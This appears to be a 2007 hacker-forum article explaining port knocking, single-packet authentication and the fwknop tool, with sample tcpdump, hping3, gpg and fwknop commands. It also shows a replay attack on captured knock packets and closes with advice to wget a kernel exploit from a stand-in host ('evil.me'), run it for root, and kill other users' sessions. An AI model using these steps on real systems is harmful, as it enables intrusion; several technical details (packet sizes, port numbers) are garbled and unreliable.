Single-Packet Authentication and Protocol Analysis

Single-Packet Authentication and Protocol Analysis

By ghost | 10431 Reads |

0     0

                  Single-Packet Authentication and Protocol Analysis
                             HBH Article: Fall 2007
							 

	Table of Contents
    ~~~~~~~~~~~~~~~~~
    Introduction......................................0x0
    Operation of Port Knocking........................0x1
    Replay Attack of Sequence Packets.................0x2
	Single-Packet Authentication (SPA)................0x3
	fwknop and netfilter..............................0x4
	Pure Stealth with SPA and fwknop..................0x5
	

[Introduction]

Finally, boys and girls, I'm starting to get some free time to write some more decent articles. Some of you pwnZ0rs might already know of this protocol, and some of you might be as clueless as a whitehat under blackhat attack. So, let me jump right into the topic by gently presenting the basics and then gradually moving on to more realistic scenarios.

-=[Operation of Port Knocking]=-

Believe it or not, "port knocking" is NOT an attack, but merely a protocol, or shall I say, an authentication method employed in earlier linux systems by firewalls (netfilter). Originally, an attacker would go on and scan a system (box) for open and closed ports and get some feedback on their state (OPEN/CLOSED), thus, leaving the evil attacker with a plethora of choices to get into the system. Assume we had a way to prevent them from even seeing our ports while they are LISTENING (bind) on a port.

We can do such a thing by integrating a program called "fwknop" with our firewall (LINUX: netfilter). This program originally used the "Port Knocking" protocol to hide ports that it didn't want scanners/worms to pick up by ONLY opening them on a triggered event, in the form of an encoded messages in packets.

But Port knocking packets must adhere to their protocol standard, that is, that they must have:

• The port knock sequence sent correctly and timed right, or else the server will NOT make sense of the data (or try correcting it), since a full TCP/IP connection is not yet established.
• The Correct Encryption Algorithm must be used (Symmetric algorithms is the only supposed encryption scheme here).
• Packets sized accordingly. 16-bite (2 bytes) limit for port fields in the TCP and UDP headers.

To accomplish this, the encoded trigger "port-knocking" message must be carried by SYN packets in the form of port sequence numbers, destined to the server. You can accomplish this with some programming, or by using already made programs (SK way!). Either way can/will work, if done correctly!

Note that the server will NOT reply until the Firewall itself passes on the information, and then that information is passed onto "fwknop" for further processeing to see if the port knock is the correct one. If it is, then a connection is made OPEN to the requested port. But further authentication will also be needed to access the application running behind the requested port (ie. 22/SSH).

So, you see, Port Knocking is protocol, and can be viewed as an authentication mechanism. Know, however, that many IDS/IPS log this authentication method, because it has the signature of a port scan. Think about it; trying to connect to several ports in a short period of time … come on!!!

-=[Replay Attack of Sequence Packets]=-

Say that we have requested to open a certain port on a foreign host outside of our NAT (for home users, this means, you're behind a router, and the host is on the internet). Know that a Dynamic NAT Setup assigns IP addresses using a DHCP Server, and processes PC requests to get or renew addresses, duh! But, say, you have a malicious user in your subnet at home (or someone who hopped on your network through Wardriving), they can perform Replay-Attacks on the server that you, the legimate client, are trying to access using "Port Knocking".

They can do this by capturing your packets using TCPdump, on Port 62201, because it is used by "fwknop" for Port Knocking purposes (authentication):

[root@evil_]$ tcpdump -i eth0 -c 1 -s 0 -l -nn -X udp port 62201 // Since they've captured the encrypted port-sequence message, the replay it to the server. This will block the original/legimate client off the box. [root@evil_] echo "derO0e9d89g89723dm234m4lllfdg2ldoim8keywec4ptUR3dfr0mthevictlM" | nc -u 200.30.40.50 66201

Ah, that bastard blackhat! He was successful. And the system let him in. "This protocol sucks!", says the disgruntled whitehat. This leads us to our next protocol, that is known to be more efficient: better security and much faster than the latter.

[Single-Packet Authentication (SPA)]

Single-Packet Authentication (SPA) is known more because of its security implementations that surpass those of Port Knocking. The concept is still the same here, except that:

• Encryption can be done symmetrically, as well as asymmetrically. Thus, relieving some more fears, and assumptions that our data might get intercepted (and possibly replayed). The two most common encryption schemes used are either the:

  • The Rijndael Symmetric Block Cipher (128-Bit Shared Key)
  • The Elgamal Assymmetric Algorithm (2,048-Bit Private/Public Key pair)

• Packet Sizes are bigger (1.5MB on Ethernet lines). And the frames are encrypted in Base-64, before they even get encapsulated by our main encryption. The fields are separated by colons (:), which are still kept intact – well, because, it's Base-64, and it was chosen for that reason – to maintain the colon for our packets.

What happens with SPA that is different than Port Knocking is the use of 16-Bytes of random data that are sent to our server. Those bytes are checksummed in MD5, then stored on the server's cache to maintain the identity of the client, and avoid getting replay attacks from a secondary client (attacker). After those bytes, then more raw data is sent to the server for further processing, and gets cached in MD5, still, to maintain security. This is done for the remaininder of the session.

You might start thinking of being a wannabe cracker, because, well, you might not having the C coding skills to deal with the low level stack interfacing, and packet customization. There already exists a way to make your packets exactly how you want them, in form of a payload to deliver to the server when we're done engineering them, and ready to authenticate.

Remember, we send out: 16-Bytes of random data, username on the Server and the port we want to connect to. Then, we encrypt it (symmetrically/asymmetrically). The "fwknop" server must have our request information already stored in a config file, usually located in: /etc/fwknop/access.conf (otherwise –> DENIED!)

The format of access.conf looks something like:

SOURCE: ANY; OPEN_PORTS: tcp/22; KEY: <encrypt_key>; FW_ACCESS_TIMEOUT: 10; REQUIRE_USERNAME: Skarecrow; DATA_COLLECT_MODE: ULOG_PCAP;

So, here is the format in which you should send your packet from a linux box to concur with what is in the access.conf file:

[client@box]$ dd if=/dev/urandom of=/tmp/payload bs=16 count=1 [client@box]$ echo "Skarecrow:200.30.40.50:22:moredata" >>/tmp/SPA_auth [client@box]$ gpg –passphrase "Scarlatti" –symmetric /tmp/SPA_auth [client@box]$ hping3 –interface eth1 –sign "SPA" –icmp –count 1 –file /tmp/SPA_auth.gpg –data 200 192.168.1.2

If the login credentials check with "fwknop", then the client's IP address is made to be allowed in IPTablesis, and they are granted unprohibited access to the originally "closed port".

HPing3 can be used, for example, to listen to the encrypted message (packet) and allow the recipient if it checks with the contents of "fwknop" access.conf file

[client@box] hping3 –interface eth1 –listen "SPA" –icmp > /tmp/delivered.gpg [client@box] gpg –passphrase "warpedcoders" delivered.gpg

In windows, it is NOT done. LOL, jk – Windows has bad support for raw packet processing and has very few tools when compared to linux.

Now that we have our payload and authentication sent to the server. So, we tell "fwknop" to prepare the connection, by editing IPtables through netfilter by doing:

[client@box]$ fwknop -A tcp/22 -w -k 200.30.40.50 [+] Starting fwknop in client mode. [+] Enter an encryption key. This key must match a key in the file /etc/fwknop/access.conf on the remote system.

Encryption Key:

[+] Building encrypted single-packet authorization (SPA) message… [+] Packet fields:

Random data: 5628557594764037 Username: Skarecrow Timestamp: 31345165517 Version: 0.9.5 Action: 1 (access mode) Access: 192.168.1.2,tcp/22 MD5 sum: g3vn4YY6q37EflaBtU3Jaj

[+] Sending 128 byte message to 200.30.40.50 over udp/62201…

You should be "Granted Access!" You use netcat to connect, and establish your session (I'd go with cryptcat for an encrypted channel):

[client@box]$ nc -v 200.30.40.50 200.30.40.50 (ssh) open SSH-2.0-OpenSSH_3.9p1

This would usually be done on your own box. But say you happened to know the information and key of a user using "fwknop", all you would have to is just elevate priviledges.

How might you wonder, can I do this??? find the OS/kernel Information using:

[client@box]$ uname -a

then wget an exploit (this is highly SK – I'm ashamed of myself for even suggesting it – but, I'm guessing not too many people here know about BoF/Shellcoding/Reversing but are dying to go to jail, so here it is kids!!!):

[client@box]$ wget http://evil.me/xploitz/kernel2_4.c

Compile, then run it. And you should get r00t access! wow.

[client@box]$ gcc kernel2_4.c -o kernel2_4

Or, find out the listening daemons info and get an exploits for them. There are several ways to do this, but here is one of my all time favorites:

[client@box]$ lsof -i| grep LISTEN

and if other users are connected to the machine with lesser privileges show them who the true pwn0r / master_of_the_system is by doing:

[client@box]$ kill -9 lsof -t -u n00b_account

KINCHOI!

(C)opywrong 2007, Netfish Inc. All wrongs denied.

REFERENCES: http://wiki.hping.org/94 http://equivocation.org/node/8 http://www.cipherdyne.org/fwknop/

NOTICE: I am NOT responsible for anyone's actions, or whatever consequences they bring upon themselves through the reading of this article. It is meant for Educational purposes ONLY!